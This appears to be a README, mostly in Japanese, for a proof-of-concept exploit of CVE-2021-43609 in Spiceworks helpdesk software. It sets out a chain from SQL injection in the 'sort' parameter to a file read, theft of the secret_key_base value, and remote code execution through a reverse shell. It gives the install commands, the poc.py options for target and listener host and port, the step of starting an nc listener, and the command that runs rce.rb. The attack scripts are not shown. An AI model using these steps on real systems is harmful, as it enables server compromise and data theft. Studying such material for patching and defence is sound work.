
CVE-2021-43609の概念実証エクスプロイトで、Spiceworksヘルプデスクソフトウェアに対するSQLインジェクションからファイル読み取り、リモートコード実行への連鎖を実証します。
Spiceworks の sort パラメータに SQLi が存在します。完全なエクスプロイトチェーンは SQLi -> ファイル読み取り -> RCE です。
apt update && apt install -y ruby-dev nodejs python3 python3-pip libsqlite3-dev
pip3 install requests
gem install bundler && cd rce && bundle install
poc.py を使用して SQLi -> ファイル読み取りを悪用し、secret_key_base 環境変数を抽出します。その後、poc.py から得られた値を使用して、リバースシェルを獲得する PoC Ruby スクリプトを生成します。
usage: poc.py [-h] --rhost RHOST --lhost LHOST --lport LPORT -u USER -p PASSWORD [-e ENV_PATH]
There's a SQLi in a `sort` parameter of Spiceworks. The exploit chain is SQLi -> file read -> RCE.
optional arguments:
-h, --help show this help message and exit
--rhost RHOST https://example.com
--lhost LHOST 10.10.10.10
--lport LPORT 9001
-u USER, --user USER [email protected]
-p PASSWORD, --password PASSWORD
P@$$w0rd!
-e ENV_PATH, --env_path ENV_PATH
Path to environment variables
rce.rb を使用します。ステージ 1 で指定した IP とポートで nc リスナーを起動し、次のコマンドを実行するだけです:
cd rce && ruby rce.rb
できあがり!